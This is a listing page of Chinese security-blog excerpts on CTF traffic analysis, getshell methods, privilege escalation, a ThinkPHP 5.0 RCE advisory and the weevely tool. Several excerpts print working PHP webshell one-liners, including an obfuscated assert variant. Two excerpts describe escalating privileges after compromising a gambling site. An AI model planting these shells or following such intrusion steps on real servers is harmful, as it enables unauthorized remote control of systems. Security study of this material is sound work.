分析压缩包中的数据包文件并获取flag。flag为32位大写md5。 神仙们还是强啊，webshell主要看http流，再过滤只剩下post请求 可以使用 http.request.method == POST 然后挨个看，发现一个带着flag字样的，只提交了很少的信息，猜测是base64加密，解码 ...
分类：
编程语言 时间：
2019-02-04 01:05:04
阅读次数：
287
php经典一句话: <?php echo shell_exec($_GET['cmd']);?> 中国菜刀：官网：www.maicaidao.co原理：上传一句话(<?php @eval($_POST['我是密码']);?>)至服务器端，再用中国菜刀客户端(图形化界面)去连接服务器 webacoo( ...
分类：
Web程序 时间：
2019-02-02 15:47:49
阅读次数：
174
原文转自：https://segmentfault.com/a/1190000018073845 作者：浪里行舟 在互联网时代，数据安全与个人隐私受到了前所未有的挑战，各种新奇的攻击技术层出不穷。如何才能更好地保护我们的数据？本文主要侧重于分析几种常见的攻击的类型以及防御的方法。 一、XSS XSS ...
分类：
Web程序 时间：
2019-02-01 18:05:33
阅读次数：
188
网站后台getshell的方法总结 方法一：直接上传getshell 以dedecms为例，后台可以直接上传脚本文件，从而getshell，具体方法如下： 即可成功上传大马，并成功执行，从而拿下webshell。 坑：通常由于权限限制，导致只有该目录权限，无法进入其他目录，此时便可以采用../跳转到 ...
分类：
Web程序 时间：
2019-01-27 16:32:07
阅读次数：
6666
windows提权 0，起因，由于前几天拿了一个菠菜站的webshell，但是只有iis权限，执行无法创建用户等操作，更无法对整个服务器进行控制了，于是此时便需要提权了，对于一个刚刚入门的小白来说，此刻真正意识到了提权的重要性，于是便开始学习提取相关知识，以拿下该菠菜的站点。 提权前的准备工作 1， ...
分类：
其他好文 时间：
2019-01-25 01:10:18
阅读次数：
175
mysql挂死，无法启动，解决mysql无法启动： /etc/my.cnf配置文件中innodb_force_recovery=1然后service mysqld start/etc/my.cnf配置文件中innodb_force_recovery=1注释掉再service mysqld resta ...
分类：
Web程序 时间：
2019-01-24 13:21:42
阅读次数：
176
windows提权之ftp提权 0，起因，由于前几天拿了一个菠菜站的webshell，但是只有iis权限，执行无法创建用户等操作，更无法对整个服务器进行控制了，于是此时便需要提权了，对于一个刚刚入门的小白来说，此刻真正意识到了提权的重要性，于是便开始学习提取相关知识，以拿下该菠菜的站点。 提权前的准 ...
分类：
Windows程序 时间：
2019-01-23 19:32:43
阅读次数：
2503
<?php $POST['POST']='assert';$array[]=$POST;$array[0]['POST']($_POST['assert']);?> assert，是php代码执行函数，与eval()有同样的功能，assert（）函数中参数为表达式 （或者为函数） 因为$array[ ...
分类：
Web程序 时间：
2019-01-21 21:39:43
阅读次数：
209
漏洞描述由于ThinkPHP5.0框架对Request类的method处理存在缺陷，导致黑客构造特定的请求，可直接GetWebShell。 漏洞评级严重 影响版本ThinkPHP 5.0系列 < 5.0.24 安全版本ThinkPHP 5.0系列 5.0.24ThinkPHP 5.1系列 5.1.3 ...
分类：
Web程序 时间：
2019-01-21 16:03:19
阅读次数：
190
－前言weevely是一款使用python编写的webshell工具（集webshell生成和连接于一身，仅用于安全学习教学之用，禁止非法用途），可以算作是linux下的一款菜刀替代工具（限于php），在linux上使用时还是很给力的，就是某些模块在windows上无法使用，总的来说还是非常不错的一 ...
分类：
Web程序 时间：
2019-01-06 19:21:24
阅读次数：
383
